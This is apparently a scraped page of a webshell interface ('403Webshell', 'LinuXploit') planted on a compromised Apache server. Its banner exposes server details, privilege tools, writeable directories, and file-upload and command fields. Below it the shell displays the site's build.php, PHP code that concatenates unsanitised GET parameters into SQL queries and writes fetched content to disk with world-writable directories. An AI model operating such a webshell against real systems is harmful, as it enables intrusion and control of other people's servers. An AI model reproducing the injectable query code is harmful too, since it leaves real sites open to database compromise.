403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/theavaaddams.com/public_html/free2/tour/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/theavaaddams.com/public_html/free2/tour/build.php
<?php 
$nats_type = 'built';
include($_SERVER['DOCUMENT_ROOT']."/_config.php"); 

require($_SERVER['DOCUMENT_ROOT']."/free2/fnc/fnc.php");


if(isset($_GET["view"]) && $_GET["view"] <> 'PV')
	{
		$view_code = " and a.media = '".$_GET["view"]."'";
		$view_GET = "&view=".$_GET["view"]."";
		$view = $_GET["view"];
	}else{$view_code='';
			$view_GET ='';
			$view = '';
			}

$title_add =  ' ';
$display_ad = '';
$t = $_GET["t"];  //type of tour
$asset_id = $_GET["asset_id"]; 

if($_GET["t"] == 'n')
	{
		include("niche_code.php");
		
	$put_dir = TOUR_ROOT."/niche/".$niche_name_nospace; // /$niche_name_nospace
	$filename = $put_dir."/".$niche_name_nospace.".php";
	$static_page = TOUR_URL."/niche/$niche_name_nospace/$niche_name_nospace.php";
	$string = file_get_contents(TOUR_URL."/tour.php?niche_id=".$_GET["niche_id"]."&t=n&nats_type=built&niche_name=".$niche_name_nospace."");
	
//	exit(TOUR_URL."/tour.php?niche_id=".$_GET["niche_id"]."&t=n&nats_type=built&niche_name=".$niche_name_nospace."");
	
	}
elseif($_GET["t"] == 'm')
	{ 
	$model_id = $_GET["model_id"];
	$name = $_GET["name"]; 
	include("model_code.php");
	}	
elseif($_GET["t"] == 'schedule')
	{ 
	$model_id = $_GET["model_id"];
	$name = $_GET["name"]; 
	include("schedule_code.php");
	}	
elseif($_GET["t"] == 'mt')
	{
		include("main_tour_code.php");
	
	$query = " SELECT t.asset_id,  a.media, t.free_link
FROM tour t , assets a 
WHERE a.asset_id = t.asset_id and main_image = '1' "; 
	$resultpoo = mysql_query($query);
	$rowpoo = mysql_fetch_assoc($resultpoo)or die('error: ' . $query . mysql_error());
	
	$main_pic_id = $rowpoo["asset_id"];
	$main_pic_free_link = $rowpoo["free_link"];
	$main_pic_media = $rowpoo["media"];
	
		
	$put_dir = TOUR_ROOT;
	$filename = TOUR_ROOT."/freetour.php";
	$static_page = TOUR_URL."/freetour.php";	
	$string = file_get_contents(TOUR_URL."/tour.php?t=".$_GET["t"]."&nats_type=built&main_pic_id=".$main_pic_id."&main_pic_free_link=".$main_pic_free_link."&main_pic_media=".$main_pic_media);

	}
elseif($_GET["t"] == 's') 
	{
		$asset_id = $_GET["asset_id"];
		include("single_tour_code.php");
		$string = file_get_contents(TOUR_URL."/tour.php?asset_id=".$_GET["asset_id"]."&t=s&nats_type=built&main_pic_media=".$media."");
	}
elseif($_GET["t"] == 'hogalp')
	{
		include("code_hogalp.php");
		
		
		
		
		$string = file_get_contents(TOUR_URL."/tour.php?asset_id=".$asset_id."&nats_type=built&t=hogalp&user_def_id=".$user_def_id."");
	}

if($_GET["t"] == 'm')
	{
			$model_id = $_GET["model_id"]; 
		$name = $_GET["name"];
		 $title_add = $name;
		$query = "SELECT m.name, m.description,  t2m.model_id, t2m.asset_id, 
		UNIX_TIMESTAMP(a.p_date) as f_date, t.free_link, a.asset_id   ";
		$query .= "FROM mod2vid t2m, models m, assets a, tour t ";
		$query .= "where t2m.model_id = m.model_id and t2m.asset_id = a.asset_id and t.asset_id = a.asset_id and t2m.model_id = '".$model_id."' ";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row_model = mysql_fetch_assoc($result);
		$f_date = $row_model["f_date"];
		$asset_id = $row_model["asset_id"];
		$description = $row_model["description"];
		$free_link = $row_model["free_link"];
		$name_nospace = str_replace(' ', '', $name);
		$top_img_dir = "tour/images/model/".substr($row_model["name"], 0, 1)."/".$row_model["name"];
		$put_dir = TOUR_ROOT."/model/$name_nospace/";
		$filename = $put_dir."/".$name_nospace.".php";
		$static_page = TOUR_URL."/model/$name_nospace/$name_nospace.php";
		
	$string = file_get_contents(TOUR_URL."/tour.php?t=".$_GET["t"]."&nats_type=built&model_id=".$model_id."&name=".$_GET["name"]."&free_link=".$free_link."&main_pic_media=".$media."&asset_id=".$asset_id."");
		

		}	




mkdir_recursive($put_dir, 0777);
 
//exit($string); 
 
$fp = fopen($filename, 'w');
fwrite($fp, $string);
fclose($fp);


 $url = "$static_page";
	echo "<script>window.location='$url';</script>";
	
	?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit